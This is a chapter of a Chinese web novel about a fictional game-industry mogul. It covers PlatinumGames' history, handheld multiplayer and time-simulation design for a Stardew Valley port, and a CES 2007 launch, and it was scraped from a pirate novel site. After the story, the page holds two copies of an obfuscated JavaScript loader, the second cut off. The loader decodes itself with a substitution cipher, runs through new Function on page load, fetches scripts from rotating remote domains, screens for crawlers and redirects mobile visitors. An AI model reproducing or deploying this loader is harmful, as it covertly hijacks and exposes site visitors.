首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第186章 向索尼丶任天堂开炮!(二合一)

    白金工作室厉害吗?
    毫无疑问是厉害的。
    《猎天使魔女》《尼尔机械纪元》《合金装备:崛起复仇》包括后续开发的《忍龙4》都取得了优秀的口碑和不错的销售。
    这证明白金工作室即使离开卡普空,也有开发出爆款的实力。
    记住首发网站域名??????????.??????
    但是这家工作室发挥也极其不稳定。
    除了陆恒刚刚提到的经典以外,白金工作室其实还陆续开发了很多款游戏。
    第一位与白金展开合作的就是世嘉。
    在2009到2012年,白金陆续给世嘉开发出《疯狂世界》《无限航路》《猎天使魔女》《绝对征服》和《极度混乱》五部作品。
    这五款游戏当中,只有《猎天使魔女》《绝对征服》算得上是优秀的游戏。
    其他三部,不仅销量表现不佳,玩家口碑也是平平无奇。
    特别是《极度混乱》,亏损严重到世嘉单方面终止与白金的合作。
    后续任天堂丶动视丶微软丶SE都和白金展开过合作。结果都是亏损居多,盈利很少。
    商业一塌糊涂的同时,口碑也是一点没赚到。
    特别是白金为SE开发的新作《巴比伦陨落》,正如这款游戏的名字一样,陨落得非常乾脆。
    这款SE打算长线运营的联机共斗游戏,上线仅三个月以后在Steam上的在线人数就只剩下个位数。
    媒体均分46,玩家评分1.3。
    既不叫座,也不叫好。
    其实从白金制作的爆款可以看出来,他们更擅长的还是ACT动作游戏。
    在其他游戏领域当中,白金这三位制作人还是略显青涩,需要有人去作为主导,把控整体开发方向和节奏。
    可结果偏偏是这三位,心比天高,最不愿意被人约束。
    不光是卡普空没办法,世嘉在合作期间也是经常和白金产生矛盾。
    发挥不稳定的同时,还喜欢跟金主对着干。
    久而久之,很少有游戏大厂再愿意和白金展开合作。以至于后面身为社长的稻叶公开喊话,希望任天堂丶微软将白金给收购合并,结果却是两家都没搭理他。
    所以面对白金,如果对方不愿意被收购。
    那最好的选择就是让其成为第三方工作室。
    一边保持项目合作,一边主导项目的开发方向。
    否则仍由白金发展下去,开发出来的作品,只会越来越差。
    这也是现在没被生活拷打的稻叶,最理想的合作方式。
    「那就按照陆先生所说吧。」
    思量了片刻以后,稻叶点了点头。
    代表SEEDS正式接受陆恒的提议,成为Windrunner在霓虹的第一家第三方工作室。
    后续两人沟通了IP版权归属及大致项目合作方向后。
    陆恒离开SEEDS,与宫崎一同返回国内。
    ……「要给星露谷添加联机模式?」
    几天以后,在Windrunner的办公室中,郭闻舟听到了老陆这个提议。
    「可这次游戏不是作为星耀掌机的护航吗?」
    「对。」
    「星耀掌机上有无线模块?」
    陆恒点了点头:「搭配的是瑞昱RTL8185,网上有大量ARM9处理器的开源移植驱动,我让克里斯针对掌机的功耗和架构,做了相关的优化与适配。」
    「联机方式呢,AD-Hoc点对点?」
    陆恒再次点头,表示确认。
    AD-Hoc其实就是无线自组网。
    没有任何中心主机,设备与设备之间通信,任意两台设备靠近就能直连,多台设备还可以接力转发信号,也就是多跳组网。
    属于是常见的区域网搭建方法,也是目前最适合星耀掌机的联机方式。
    至于为什么不走Galaxy搭建的全球伺服器,主要是伺服器同步逻辑,会消耗掌机宝贵的CPU丶GPU资源,造成不必要的性能消耗。另外掌机基本上都是行动网路丶Wifi连接,直连伺服器容易出现高延迟掉线。
    最最重要的是掌机玩家对于联机需求不高,本地联机已经能够满足日常玩家的需求了。
    没必要脱了裤子放屁。
    这也是为什么,后面老任丶索尼,都关掉自家官方伺服器的原因。
    「所以我想让你这边,敲定一个软体上的可行架构。」
    听到老陆安排的任务,郭闻舟沉思起来。
    软体逻辑架构决定了区域网所采用的联机方式。
    区域网联机是一个很大的统称,分为不同的网络硬体架构和软体逻辑架构。
    其中主流的硬体架构包含总线型丶环形丶树形,还有刚刚老陆说的ADHoc自组网。
    除此之外,软体逻辑架构也有不同的选择。
    P2P丶混合丶中继伺服器等。
    但是最适合星露谷的应该是——「房主权威主机制。」
    陆恒微微一笑,表示认同。
    其实一开始他决定的也是房主权威架构。
    叫郭子过来是担心还有更好的选择。
    结果目前来看,房主权威制仍然是最适合星耀掌机的联机方法。
    固定一台掌机当唯一房主,只有房主完整运行全部游戏逻辑,包括时间丶作物丶地形丶NPC刷新等等。
    客机不计算任何世界规则,只负责本地渲染画面,上传自己的操作指令。
    优点就是零成本丶低延迟丶即开即用。
    缺点则是显而易见的房主依赖,一旦房主掉线丶关机,整个游戏直接终止。
    房主的设备性能也决定了所有人的体验。
    不过考虑到主机丶手机版本的星露谷,本来最多就只支持四人联机。
    对房主的压力,其实不大。「然后还是跟枪火重生一样,用UDP传输?」
    陆恒解释道:「UDP小包传输,再加上本地画面预测和分级同步,这样即使是掌机性能,也能轻松做到流畅联机。」
    UDP小包传输就是用游戏通用UDP协议,将数据包压缩到128位元组以内。
    而本地画面预测就是客机先预判自己的移动动画,收到房主的修正数据再进行微调,减少延迟观感。
    其实这两项技术都是当时枪火重生里用到的。
    唯一不同的就是分级同步。
    顾名思义分级同步就是分主次内容,依次传讯。
    重要的内容多次传输,不重要的就传输的慢一点。
    从而降低掌机的性能压力。
    陆恒沉吟片刻后,开口解释:「高频同步就是玩家自身坐标丶还有拾取物品丶挥动工具等动作。」
    郭闻舟恍然大悟道:「然后低频就是游戏时间丶天气丶作物生长这类变化本来就缓慢的数据。」
    说到这儿,他顿了顿,表情不解地询问:「话说老陆,你不担心怎么在单核性能下,做出全局统一的时间生态模拟吗?」
    在老陆去霓虹出差的时间里,郭闻舟也抽空了解过星露谷物语的竞品,牧场物语。
    两款游戏对比下来,技术上最大的不同就是牧场物语,只敢做单场景独立计时。
    而老陆给出的企划案中明确写着,星露谷要做全域时间联动。
    也就是说,玩家无论到哪个场景,农作物及其他生态时间都在同步流逝。
    这放在电脑主机上倒是没什么,但是放在小小的掌机上,简直是一个小马拉大车的性能消耗。
    任天堂都没有好的办法解决!
    牧场物语的表现形式是,所有农作物生长丶动物状态等等,都要到第二天才会统一结算。
    玩家在游玩过程中不会感受到农场的变化,离开时是什么样,回来还是什么样。
    只有等到第二天,游戏内的场景才会发生改变。
    同理,NPC的活动也是如此。
    玩家只有与NPC身处同一场景时,游戏里的NPC才会移动丶执行日程。玩家一旦操控人物离开,所有NPC暂停在原地,跟被按了时间静止一样。
    非得等玩家过来,他们才能接着活动。
    打一个比方,牧场物语如果有一个NPC准备回家,可没等他到家中,玩家就离开了这个场景。
    那这个NPC就只会待在房门口。
    得等到玩家过来,这个NPC才会继续下面的动作。
    重要的是这种变化,玩家是可以感知到的。
    任天堂当然知道这样会破坏代入感啊。
    但是没办法呀。
    掌机性能就那么多,只能是做取舍。
    保存一个基准数据,等到场景激活以后,再重新开始读取。
    结果老陆给他们的星露谷企划呢?
    玩家无论在哪里,作物丶NPC都会随着游戏时间推移,有自己的状态变化。简直和像素版本的真实农场一样。
    碾压归碾压了,问题是怎么实现啊?
    乖乖,他们的掌机是什么性能,难道老陆还不清楚?
    这种游戏设计,压根不可能满足?!
    「为什么不能满足,可以满足啊。」
    听到郭子的顾虑,陆恒笑呵呵地打趣了一句:
    「难道你忘了之前,我们是怎么让九日实现的光影反射吗?」
    郭闻舟瘪瘪嘴:「这不是一个概念吧。」
    「确实不是一个概念。」
    陆恒起身,将手机递到郭子面前。
    「但是设计思路相同嘛,我们可以用游戏外的计时器,作为游戏内部时间的流速标准。」
    「游戏外的计时器?」看着老陆诺基亚手机上,显示的10.37分。
    郭闻舟愣了一下,而后忽然明白了什么,表情惊愕道:
    「你的意思是说,直接调用星耀掌机,自带的硬体计时器做全局唯一时间源?」
    陆恒笑了笑,默然应允。
    郭闻舟缓缓低下头,匪夷所思地盯着眼前一分一秒流转的时间,有点被老陆的大胆想法吓到了。
    但仔细想想,这种办法似乎还真是可行!
    由于是掌机硬体计时器,根本不会有占用CPU运算性能。
    之后再以这个系统时钟,作为游戏的时间流逝的唯一标准。
    由于计时器独立于游戏程序,切场景丶进屋子丶开菜单时都不会停止,会永久记录游戏的总时间。
    所有场景物体都只读取这一个公共时间,不各自计时。
    从根源上就消除了时间不同步的问题。
    而且真真正正的将游戏变成了一个真实的世界!「那非当前场景数据的变化呢,还是没解决啊?」
    郭闻舟眼神闪烁。
    不知道他是被吓到了,还是脑子一时没转过弯。
    陆恒把手机收回来,语气无奈道:
    「都有基准时间了,这个问题还不好解决?」
    听到老陆这么一说,郭闻舟才想到了什么,猛然一拍脑门。
    「哎呦,我犯傻了。」
    确实,都有基准时间了,游戏全局状态还不好解决?
    休眠场景仅保存几十到几百字节的数据,不做任何后台运算。
    然后根据两次出现的时间差,等到玩家再次回到这个场景之后,不管是农作物还是NPC,内置程序都只用一次性批量计算这段休眠时间的差值。
    最后再呈现出相应的状态就好。
    瓜果该生长就生长,NPC该去酒吧就去酒吧,跳过中间过程,直接给出结果。玩家全然不会察觉到有什么异样。
    <canvasclass="sec-last"data-c="dG8+Y3hsJzZsdiFst46OutGKoZTQvaXts7jHtZuqv+rL99/CuMyl6cOMsJ+As9jEr6Sxt8rRuZXH776KuszgrNHa79Ld4tuwt+2XucrZpOiVtpj/5qrx4L7usNzYqeWD5+2B"data-v="8c6aae1a7d346018"></canvas>
    「我靠,老陆,你真是个天才,为什么老任当时就没想到这招呢?」
    郭闻舟真是对陆恒心服口服了。
    妈的!
    这么牛逼!
    显得他好废物啊!
    陆恒耸耸肩,笃定道:「想到了也没必要啊,他们沿用的是GB掌机时代的帧计时底层架构,重构全局硬体时间戳就等于推翻整套就引擎,开发成本极高。」
    「而且……」
    说到这儿,陆恒顿了顿,意有所指:
    「这类型的游戏,人家又没有竞品,何必那么大费周章。」
    郭闻舟回过头,露出醉翁之意不在酒的猥琐一笑:「那正好,我们来给老任上点压力。」
    ……
    2007年,一月。
    拉斯维加斯会议中心。
    CES展会,全称为ConsumerElectronicsShow,也叫国际消费电子展。
    由美国消费技术协会(CTA)主办。
    是全世界规模最大,影响力最广的消费电子行业盛会。
    与E3一样,CES展会只面向行业专业人士,不对普通消费者开放。
    作为目前全球最大的PC游戏发行商,H3D的老板,陆恒其实受到过无数次CES的邀请。
    只不过对于手握Nebula的陆恒来说,参与这种偏向于硬体方面的展会完全没有必要。
    Windrunner出品的游戏,现在也不用过多宣传。
    只要放出点消息,媒体就会争相报导。W家出品,必属精品!
    可不是说着玩玩而已。
    这次参加原因无他,自然就是要准备公布,Windrunner旗下的第一代SR掌机!
    正式向索尼丶任天堂开炮!
    <insclass="pubadx-slot"data-zoneid="10802"></ins>

一秒记住【顶点小说】
dingdian678.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o4n6nwm3oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Oo2K2D^sOY/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"Oo2K2D^sOY"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q/f/}Ko}j(8}vY8Oo2K2D^sOY"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="o4n6nwm3oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Oo2K2D^sOY/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"Oo2K2D^sOY"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP 